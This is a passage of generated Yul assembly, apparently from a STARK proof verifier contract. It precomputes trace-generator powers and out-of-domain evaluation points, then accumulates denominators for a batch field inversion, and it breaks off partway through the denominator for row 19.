expmodsAndPoints.expmods[19] = traceGenerator^125. mstore(add(expmodsAndPoints, 0x260), mulmod(mload(add(expmodsAndPoints, 0x240)), // traceGenerator^64 mload(add(expmodsAndPoints, 0x200)), // traceGenerator^61 PRIME)) // expmodsAndPoints.expmods[20] = traceGenerator^184. mstore(add(expmodsAndPoints, 0x280), mulmod(mload(add(expmodsAndPoints, 0x260)), // traceGenerator^125 mulmod(mload(add(expmodsAndPoints, 0x1e0)), // traceGenerator^58 traceGenerator, // traceGenerator^1 PRIME), PRIME)) // expmodsAndPoints.expmods[21] = traceGenerator^213. mstore(add(expmodsAndPoints, 0x2a0), mulmod(mload(add(expmodsAndPoints, 0x280)), // traceGenerator^184 mulmod(mload(add(expmodsAndPoints, 0x180)), // traceGenerator^24 mload(add(expmodsAndPoints, 0x60)), // traceGenerator^5 PRIME), PRIME)) // expmodsAndPoints.expmods[22] = traceGenerator^354. mstore(add(expmodsAndPoints, 0x2c0), mulmod(mload(add(expmodsAndPoints, 0x2a0)), // traceGenerator^213 mulmod(mload(add(expmodsAndPoints, 0x260)), // traceGenerator^125 mload(add(expmodsAndPoints, 0x160)), // traceGenerator^16 PRIME), PRIME)) // expmodsAndPoints.expmods[23] = traceGenerator^394. mstore(add(expmodsAndPoints, 0x2e0), mulmod(mload(add(expmodsAndPoints, 0x2c0)), // traceGenerator^354 mulmod(mload(add(expmodsAndPoints, 0x1a0)), // traceGenerator^32 mload(add(expmodsAndPoints, 0xc0)), // traceGenerator^8 PRIME), PRIME)) // expmodsAndPoints.expmods[24] = traceGenerator^15110. mstore(add(expmodsAndPoints, 0x300), expmod(traceGenerator, 15110, PRIME)) // expmodsAndPoints.expmods[25] = traceGenerator^15867. mstore(add(expmodsAndPoints, 0x320), mulmod(mload(add(expmodsAndPoints, 0x300)), // traceGenerator^15110 mulmod(mload(add(expmodsAndPoints, 0x2e0)), // traceGenerator^394 mulmod(mload(add(expmodsAndPoints, 0x2c0)), // traceGenerator^354 mulmod(mload(add(expmodsAndPoints, 0xc0)), // traceGenerator^8 traceGenerator, // traceGenerator^1 PRIME), PRIME), PRIME), PRIME)) let oodsPoint := /*oods_point*/ mload(add(context, 0x2c20)) { // point = -z. let point := sub(PRIME, oodsPoint) // Compute denominators for rows with nonconst mask expression. // We compute those first because for the const rows we modify the point variable. // Compute denominators for rows with const mask expression. // expmods_and_points.points[0] = -z. mstore(add(expmodsAndPoints, 0x340), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[1] = -(g * z). mstore(add(expmodsAndPoints, 0x360), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[2] = -(g^2 * z). mstore(add(expmodsAndPoints, 0x380), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[3] = -(g^3 * z). mstore(add(expmodsAndPoints, 0x3a0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[4] = -(g^4 * z). mstore(add(expmodsAndPoints, 0x3c0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[5] = -(g^5 * z). mstore(add(expmodsAndPoints, 0x3e0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[6] = -(g^6 * z). mstore(add(expmodsAndPoints, 0x400), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[7] = -(g^7 * z). mstore(add(expmodsAndPoints, 0x420), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[8] = -(g^8 * z). mstore(add(expmodsAndPoints, 0x440), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[9] = -(g^9 * z). mstore(add(expmodsAndPoints, 0x460), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[10] = -(g^10 * z). mstore(add(expmodsAndPoints, 0x480), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[11] = -(g^11 * z). mstore(add(expmodsAndPoints, 0x4a0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[12] = -(g^12 * z). mstore(add(expmodsAndPoints, 0x4c0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[13] = -(g^13 * z). mstore(add(expmodsAndPoints, 0x4e0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[14] = -(g^14 * z). mstore(add(expmodsAndPoints, 0x500), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[15] = -(g^15 * z). mstore(add(expmodsAndPoints, 0x520), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[16] = -(g^16 * z). mstore(add(expmodsAndPoints, 0x540), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[17] = -(g^17 * z). mstore(add(expmodsAndPoints, 0x560), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[18] = -(g^18 * z). mstore(add(expmodsAndPoints, 0x580), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[19] = -(g^19 * z). mstore(add(expmodsAndPoints, 0x5a0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[20] = -(g^20 * z). mstore(add(expmodsAndPoints, 0x5c0), point) // point *= g^7. point := mulmod(point, /*traceGenerator^7*/ mload(add(expmodsAndPoints, 0xa0)), PRIME) // expmods_and_points.points[21] = -(g^27 * z). mstore(add(expmodsAndPoints, 0x5e0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[22] = -(g^28 * z). mstore(add(expmodsAndPoints, 0x600), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[23] = -(g^33 * z). mstore(add(expmodsAndPoints, 0x620), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[24] = -(g^34 * z). mstore(add(expmodsAndPoints, 0x640), point) // point *= g^2. point := mulmod(point, /*traceGenerator^2*/ mload(expmodsAndPoints), PRIME) // expmods_and_points.points[25] = -(g^36 * z). mstore(add(expmodsAndPoints, 0x660), point) // point *= g^8. point := mulmod(point, /*traceGenerator^8*/ mload(add(expmodsAndPoints, 0xc0)), PRIME) // expmods_and_points.points[26] = -(g^44 * z). mstore(add(expmodsAndPoints, 0x680), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[27] = -(g^49 * z). mstore(add(expmodsAndPoints, 0x6a0), point) // point *= g^3. point := mulmod(point, /*traceGenerator^3*/ mload(add(expmodsAndPoints, 0x20)), PRIME) // expmods_and_points.points[28] = -(g^52 * z). mstore(add(expmodsAndPoints, 0x6c0), point) // point *= g^8. point := mulmod(point, /*traceGenerator^8*/ mload(add(expmodsAndPoints, 0xc0)), PRIME) // expmods_and_points.points[29] = -(g^60 * z). mstore(add(expmodsAndPoints, 0x6e0), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[30] = -(g^65 * z). mstore(add(expmodsAndPoints, 0x700), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[31] = -(g^66 * z). mstore(add(expmodsAndPoints, 0x720), point) // point *= g^2. point := mulmod(point, /*traceGenerator^2*/ mload(expmodsAndPoints), PRIME) // expmods_and_points.points[32] = -(g^68 * z). mstore(add(expmodsAndPoints, 0x740), point) // point *= g^2. point := mulmod(point, /*traceGenerator^2*/ mload(expmodsAndPoints), PRIME) // expmods_and_points.points[33] = -(g^70 * z). mstore(add(expmodsAndPoints, 0x760), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[34] = -(g^71 * z). mstore(add(expmodsAndPoints, 0x780), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[35] = -(g^76 * z). mstore(add(expmodsAndPoints, 0x7a0), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[36] = -(g^81 * z). mstore(add(expmodsAndPoints, 0x7c0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[37] = -(g^82 * z). mstore(add(expmodsAndPoints, 0x7e0), point) // point *= g^10. point := mulmod(point, /*traceGenerator^10*/ mload(add(expmodsAndPoints, 0xe0)), PRIME) // expmods_and_points.points[38] = -(g^92 * z). mstore(add(expmodsAndPoints, 0x800), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[39] = -(g^97 * z). mstore(add(expmodsAndPoints, 0x820), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[40] = -(g^98 * z). mstore(add(expmodsAndPoints, 0x840), point) // point *= g^2. point := mulmod(point, /*traceGenerator^2*/ mload(expmodsAndPoints), PRIME) // expmods_and_points.points[41] = -(g^100 * z). mstore(add(expmodsAndPoints, 0x860), point) // point *= g^8. point := mulmod(point, /*traceGenerator^8*/ mload(add(expmodsAndPoints, 0xc0)), PRIME) // expmods_and_points.points[42] = -(g^108 * z). mstore(add(expmodsAndPoints, 0x880), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[43] = -(g^113 * z). mstore(add(expmodsAndPoints, 0x8a0), point) // point *= g^3. point := mulmod(point, /*traceGenerator^3*/ mload(add(expmodsAndPoints, 0x20)), PRIME) // expmods_and_points.points[44] = -(g^116 * z). mstore(add(expmodsAndPoints, 0x8c0), point) // point *= g^13. point := mulmod(point, /*traceGenerator^13*/ mload(add(expmodsAndPoints, 0x120)), PRIME) // expmods_and_points.points[45] = -(g^129 * z). mstore(add(expmodsAndPoints, 0x8e0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[46] = -(g^130 * z). mstore(add(expmodsAndPoints, 0x900), point) // point *= g^4. point := mulmod(point, /*traceGenerator^4*/ mload(add(expmodsAndPoints, 0x40)), PRIME) // expmods_and_points.points[47] = -(g^134 * z). mstore(add(expmodsAndPoints, 0x920), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[48] = -(g^135 * z). mstore(add(expmodsAndPoints, 0x940), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[49] = -(g^140 * z). mstore(add(expmodsAndPoints, 0x960), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[50] = -(g^145 * z). mstore(add(expmodsAndPoints, 0x980), point) // point *= g^16. point := mulmod(point, /*traceGenerator^16*/ mload(add(expmodsAndPoints, 0x160)), PRIME) // expmods_and_points.points[51] = -(g^161 * z). mstore(add(expmodsAndPoints, 0x9a0), point) // point *= g^11. point := mulmod(point, /*traceGenerator^11*/ mload(add(expmodsAndPoints, 0x100)), PRIME) // expmods_and_points.points[52] = -(g^172 * z). mstore(add(expmodsAndPoints, 0x9c0), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[53] = -(g^177 * z). mstore(add(expmodsAndPoints, 0x9e0), point) // point *= g^15. point := mulmod(point, /*traceGenerator^15*/ mload(add(expmodsAndPoints, 0x140)), PRIME) // expmods_and_points.points[54] = -(g^192 * z). mstore(add(expmodsAndPoints, 0xa00), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[55] = -(g^193 * z). mstore(add(expmodsAndPoints, 0xa20), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[56] = -(g^194 * z). mstore(add(expmodsAndPoints, 0xa40), point) // point *= g^2. point := mulmod(point, /*traceGenerator^2*/ mload(expmodsAndPoints), PRIME) // expmods_and_points.points[57] = -(g^196 * z). mstore(add(expmodsAndPoints, 0xa60), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[58] = -(g^197 * z). mstore(add(expmodsAndPoints, 0xa80), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[59] = -(g^198 * z). mstore(add(expmodsAndPoints, 0xaa0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[60] = -(g^199 * z). mstore(add(expmodsAndPoints, 0xac0), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[61] = -(g^204 * z). mstore(add(expmodsAndPoints, 0xae0), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[62] = -(g^209 * z). mstore(add(expmodsAndPoints, 0xb00), point) // point *= g^16. point := mulmod(point, /*traceGenerator^16*/ mload(add(expmodsAndPoints, 0x160)), PRIME) // expmods_and_points.points[63] = -(g^225 * z). mstore(add(expmodsAndPoints, 0xb20), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[64] = -(g^226 * z). mstore(add(expmodsAndPoints, 0xb40), point) // point *= g^10. point := mulmod(point, /*traceGenerator^10*/ mload(add(expmodsAndPoints, 0xe0)), PRIME) // expmods_and_points.points[65] = -(g^236 * z). mstore(add(expmodsAndPoints, 0xb60), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[66] = -(g^241 * z). mstore(add(expmodsAndPoints, 0xb80), point) // point *= g^10. point := mulmod(point, /*traceGenerator^10*/ mload(add(expmodsAndPoints, 0xe0)), PRIME) // expmods_and_points.points[67] = -(g^251 * z). mstore(add(expmodsAndPoints, 0xba0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[68] = -(g^252 * z). mstore(add(expmodsAndPoints, 0xbc0), point) // point *= g^3. point := mulmod(point, /*traceGenerator^3*/ mload(add(expmodsAndPoints, 0x20)), PRIME) // expmods_and_points.points[69] = -(g^255 * z). mstore(add(expmodsAndPoints, 0xbe0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[70] = -(g^256 * z). mstore(add(expmodsAndPoints, 0xc00), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[71] = -(g^257 * z). mstore(add(expmodsAndPoints, 0xc20), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[72] = -(g^262 * z). mstore(add(expmodsAndPoints, 0xc40), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[73] = -(g^263 * z). mstore(add(expmodsAndPoints, 0xc60), point) // point *= g^2. point := mulmod(point, /*traceGenerator^2*/ mload(expmodsAndPoints), PRIME) // expmods_and_points.points[74] = -(g^265 * z). mstore(add(expmodsAndPoints, 0xc80), point) // point *= g^61. point := mulmod(point, /*traceGenerator^61*/ mload(add(expmodsAndPoints, 0x200)), PRIME) // expmods_and_points.points[75] = -(g^326 * z). mstore(add(expmodsAndPoints, 0xca0), point) // point *= g^64. point := mulmod(point, /*traceGenerator^64*/ mload(add(expmodsAndPoints, 0x240)), PRIME) // expmods_and_points.points[76] = -(g^390 * z). mstore(add(expmodsAndPoints, 0xcc0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[77] = -(g^391 * z). mstore(add(expmodsAndPoints, 0xce0), point) // point *= g^63. point := mulmod(point, /*traceGenerator^63*/ mload(add(expmodsAndPoints, 0x220)), PRIME) // expmods_and_points.points[78] = -(g^454 * z). mstore(add(expmodsAndPoints, 0xd00), point) // point *= g^57. point := mulmod(point, /*traceGenerator^57*/ mload(add(expmodsAndPoints, 0x1c0)), PRIME) // expmods_and_points.points[79] = -(g^511 * z). mstore(add(expmodsAndPoints, 0xd20), point) // point *= g^2. point := mulmod(point, /*traceGenerator^2*/ mload(expmodsAndPoints), PRIME) // expmods_and_points.points[80] = -(g^513 * z). mstore(add(expmodsAndPoints, 0xd40), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[81] = -(g^518 * z). mstore(add(expmodsAndPoints, 0xd60), point) // point *= g^3. point := mulmod(point, /*traceGenerator^3*/ mload(add(expmodsAndPoints, 0x20)), PRIME) // expmods_and_points.points[82] = -(g^521 * z). mstore(add(expmodsAndPoints, 0xd80), point) // point *= g^184. point := mulmod(point, /*traceGenerator^184*/ mload(add(expmodsAndPoints, 0x280)), PRIME) // expmods_and_points.points[83] = -(g^705 * z). mstore(add(expmodsAndPoints, 0xda0), point) // point *= g^6. point := mulmod(point, /*traceGenerator^6*/ mload(add(expmodsAndPoints, 0x80)), PRIME) // expmods_and_points.points[84] = -(g^711 * z). mstore(add(expmodsAndPoints, 0xdc0), point) // point *= g^10. point := mulmod(point, /*traceGenerator^10*/ mload(add(expmodsAndPoints, 0xe0)), PRIME) // expmods_and_points.points[85] = -(g^721 * z). mstore(add(expmodsAndPoints, 0xde0), point) // point *= g^16. point := mulmod(point, /*traceGenerator^16*/ mload(add(expmodsAndPoints, 0x160)), PRIME) // expmods_and_points.points[86] = -(g^737 * z). mstore(add(expmodsAndPoints, 0xe00), point) // point *= g^16. point := mulmod(point, /*traceGenerator^16*/ mload(add(expmodsAndPoints, 0x160)), PRIME) // expmods_and_points.points[87] = -(g^753 * z). mstore(add(expmodsAndPoints, 0xe20), point) // point *= g^16. point := mulmod(point, /*traceGenerator^16*/ mload(add(expmodsAndPoints, 0x160)), PRIME) // expmods_and_points.points[88] = -(g^769 * z). mstore(add(expmodsAndPoints, 0xe40), point) // point *= g^8. point := mulmod(point, /*traceGenerator^8*/ mload(add(expmodsAndPoints, 0xc0)), PRIME) // expmods_and_points.points[89] = -(g^777 * z). mstore(add(expmodsAndPoints, 0xe60), point) // point *= g^125. point := mulmod(point, /*traceGenerator^125*/ mload(add(expmodsAndPoints, 0x260)), PRIME) // expmods_and_points.points[90] = -(g^902 * z). mstore(add(expmodsAndPoints, 0xe80), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[91] = -(g^903 * z). mstore(add(expmodsAndPoints, 0xea0), point) // point *= g^58. point := mulmod(point, /*traceGenerator^58*/ mload(add(expmodsAndPoints, 0x1e0)), PRIME) // expmods_and_points.points[92] = -(g^961 * z). mstore(add(expmodsAndPoints, 0xec0), point) // point *= g^5. point := mulmod(point, /*traceGenerator^5*/ mload(add(expmodsAndPoints, 0x60)), PRIME) // expmods_and_points.points[93] = -(g^966 * z). mstore(add(expmodsAndPoints, 0xee0), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[94] = -(g^967 * z). mstore(add(expmodsAndPoints, 0xf00), point) // point *= g^10. point := mulmod(point, /*traceGenerator^10*/ mload(add(expmodsAndPoints, 0xe0)), PRIME) // expmods_and_points.points[95] = -(g^977 * z). mstore(add(expmodsAndPoints, 0xf20), point) // point *= g^16. point := mulmod(point, /*traceGenerator^16*/ mload(add(expmodsAndPoints, 0x160)), PRIME) // expmods_and_points.points[96] = -(g^993 * z). mstore(add(expmodsAndPoints, 0xf40), point) // point *= g^16. point := mulmod(point, /*traceGenerator^16*/ mload(add(expmodsAndPoints, 0x160)), PRIME) // expmods_and_points.points[97] = -(g^1009 * z). mstore(add(expmodsAndPoints, 0xf60), point) // point *= g^213. point := mulmod(point, /*traceGenerator^213*/ mload(add(expmodsAndPoints, 0x2a0)), PRIME) // expmods_and_points.points[98] = -(g^1222 * z). mstore(add(expmodsAndPoints, 0xf80), point) // point *= g^15110. point := mulmod(point, /*traceGenerator^15110*/ mload(add(expmodsAndPoints, 0x300)), PRIME) // expmods_and_points.points[99] = -(g^16332 * z). mstore(add(expmodsAndPoints, 0xfa0), point) // point *= g^8. point := mulmod(point, /*traceGenerator^8*/ mload(add(expmodsAndPoints, 0xc0)), PRIME) // expmods_and_points.points[100] = -(g^16340 * z). mstore(add(expmodsAndPoints, 0xfc0), point) // point *= g^24. point := mulmod(point, /*traceGenerator^24*/ mload(add(expmodsAndPoints, 0x180)), PRIME) // expmods_and_points.points[101] = -(g^16364 * z). mstore(add(expmodsAndPoints, 0xfe0), point) // point *= g^8. point := mulmod(point, /*traceGenerator^8*/ mload(add(expmodsAndPoints, 0xc0)), PRIME) // expmods_and_points.points[102] = -(g^16372 * z). mstore(add(expmodsAndPoints, 0x1000), point) // point *= g^8. point := mulmod(point, /*traceGenerator^8*/ mload(add(expmodsAndPoints, 0xc0)), PRIME) // expmods_and_points.points[103] = -(g^16380 * z). mstore(add(expmodsAndPoints, 0x1020), point) // point *= g^8. point := mulmod(point, /*traceGenerator^8*/ mload(add(expmodsAndPoints, 0xc0)), PRIME) // expmods_and_points.points[104] = -(g^16388 * z). mstore(add(expmodsAndPoints, 0x1040), point) // point *= g^32. point := mulmod(point, /*traceGenerator^32*/ mload(add(expmodsAndPoints, 0x1a0)), PRIME) // expmods_and_points.points[105] = -(g^16420 * z). mstore(add(expmodsAndPoints, 0x1060), point) // point *= g^354. point := mulmod(point, /*traceGenerator^354*/ mload(add(expmodsAndPoints, 0x2c0)), PRIME) // expmods_and_points.points[106] = -(g^16774 * z). mstore(add(expmodsAndPoints, 0x1080), point) // point *= g. point := mulmod(point, traceGenerator, PRIME) // expmods_and_points.points[107] = -(g^16775 * z). mstore(add(expmodsAndPoints, 0x10a0), point) // point *= g^15867. point := mulmod(point, /*traceGenerator^15867*/ mload(add(expmodsAndPoints, 0x320)), PRIME) // expmods_and_points.points[108] = -(g^32642 * z). mstore(add(expmodsAndPoints, 0x10c0), point) // point *= g^16. point := mulmod(point, /*traceGenerator^16*/ mload(add(expmodsAndPoints, 0x160)), PRIME) // expmods_and_points.points[109] = -(g^32658 * z). mstore(add(expmodsAndPoints, 0x10e0), point) // point *= g^16. point := mulmod(point, /*traceGenerator^16*/ mload(add(expmodsAndPoints, 0x160)), PRIME) // expmods_and_points.points[110] = -(g^32674 * z). mstore(add(expmodsAndPoints, 0x1100), point) // point *= g^32. point := mulmod(point, /*traceGenerator^32*/ mload(add(expmodsAndPoints, 0x1a0)), PRIME) // expmods_and_points.points[111] = -(g^32706 * z). mstore(add(expmodsAndPoints, 0x1120), point) // point *= g^10. point := mulmod(point, /*traceGenerator^10*/ mload(add(expmodsAndPoints, 0xe0)), PRIME) // expmods_and_points.points[112] = -(g^32716 * z). mstore(add(expmodsAndPoints, 0x1140), point) // point *= g^32. point := mulmod(point, /*traceGenerator^32*/ mload(add(expmodsAndPoints, 0x1a0)), PRIME) // expmods_and_points.points[113] = -(g^32748 * z). mstore(add(expmodsAndPoints, 0x1160), point) // point *= g^8. point := mulmod(point, /*traceGenerator^8*/ mload(add(expmodsAndPoints, 0xc0)), PRIME) // expmods_and_points.points[114] = -(g^32756 * z). mstore(add(expmodsAndPoints, 0x1180), point) // point *= g^8. point := mulmod(point, /*traceGenerator^8*/ mload(add(expmodsAndPoints, 0xc0)), PRIME) // expmods_and_points.points[115] = -(g^32764 * z). mstore(add(expmodsAndPoints, 0x11a0), point) // point *= g^394. point := mulmod(point, /*traceGenerator^394*/ mload(add(expmodsAndPoints, 0x2e0)), PRIME) // expmods_and_points.points[116] = -(g^33158 * z). mstore(add(expmodsAndPoints, 0x11c0), point) } let evalPointsPtr := /*oodsEvalPoints*/ add(context, 0x53c0) let evalPointsEndPtr := add( evalPointsPtr, mul(/*n_unique_queries*/ mload(add(context, 0x140)), 0x20)) // The batchInverseArray is split into two halves. // The first half is used for cumulative products and the second half for values to invert. // Consequently the products and values are half the array size apart. let productsPtr := add(batchInverseArray, 0x20) // Compute an offset in bytes to the middle of the array. let productsToValuesOffset := mul( /*batchInverseArray.length*/ mload(batchInverseArray), /*0x20 / 2*/ 0x10) let valuesPtr := add(productsPtr, productsToValuesOffset) let partialProduct := 1 let minusPointPow := sub(PRIME, mulmod(oodsPoint, oodsPoint, PRIME)) for {} lt(evalPointsPtr, evalPointsEndPtr) {evalPointsPtr := add(evalPointsPtr, 0x20)} { let evalPoint := mload(evalPointsPtr) // Shift evalPoint to evaluation domain coset. let shiftedEvalPoint := mulmod(evalPoint, evalCosetOffset_, PRIME) { // Calculate denominator for row 0: x - z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x340))) mstore(productsPtr, partialProduct) mstore(valuesPtr, denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 1: x - g * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x360))) mstore(add(productsPtr, 0x20), partialProduct) mstore(add(valuesPtr, 0x20), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 2: x - g^2 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x380))) mstore(add(productsPtr, 0x40), partialProduct) mstore(add(valuesPtr, 0x40), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 3: x - g^3 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x3a0))) mstore(add(productsPtr, 0x60), partialProduct) mstore(add(valuesPtr, 0x60), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 4: x - g^4 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x3c0))) mstore(add(productsPtr, 0x80), partialProduct) mstore(add(valuesPtr, 0x80), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 5: x - g^5 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x3e0))) mstore(add(productsPtr, 0xa0), partialProduct) mstore(add(valuesPtr, 0xa0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 6: x - g^6 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x400))) mstore(add(productsPtr, 0xc0), partialProduct) mstore(add(valuesPtr, 0xc0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 7: x - g^7 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x420))) mstore(add(productsPtr, 0xe0), partialProduct) mstore(add(valuesPtr, 0xe0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 8: x - g^8 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x440))) mstore(add(productsPtr, 0x100), partialProduct) mstore(add(valuesPtr, 0x100), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 9: x - g^9 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x460))) mstore(add(productsPtr, 0x120), partialProduct) mstore(add(valuesPtr, 0x120), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 10: x - g^10 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x480))) mstore(add(productsPtr, 0x140), partialProduct) mstore(add(valuesPtr, 0x140), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 11: x - g^11 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x4a0))) mstore(add(productsPtr, 0x160), partialProduct) mstore(add(valuesPtr, 0x160), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 12: x - g^12 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x4c0))) mstore(add(productsPtr, 0x180), partialProduct) mstore(add(valuesPtr, 0x180), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 13: x - g^13 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x4e0))) mstore(add(productsPtr, 0x1a0), partialProduct) mstore(add(valuesPtr, 0x1a0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 14: x - g^14 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x500))) mstore(add(productsPtr, 0x1c0), partialProduct) mstore(add(valuesPtr, 0x1c0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 15: x - g^15 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x520))) mstore(add(productsPtr, 0x1e0), partialProduct) mstore(add(valuesPtr, 0x1e0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 16: x - g^16 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x540))) mstore(add(productsPtr, 0x200), partialProduct) mstore(add(valuesPtr, 0x200), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 17: x - g^17 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x560))) mstore(add(productsPtr, 0x220), partialProduct) mstore(add(valuesPtr, 0x220), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 18: x - g^18 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x580))) mstore(add(productsPtr, 0x240), partialProduct) mstore(add(valuesPtr, 0x240), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 19: x - g^19 * z. let denominator := 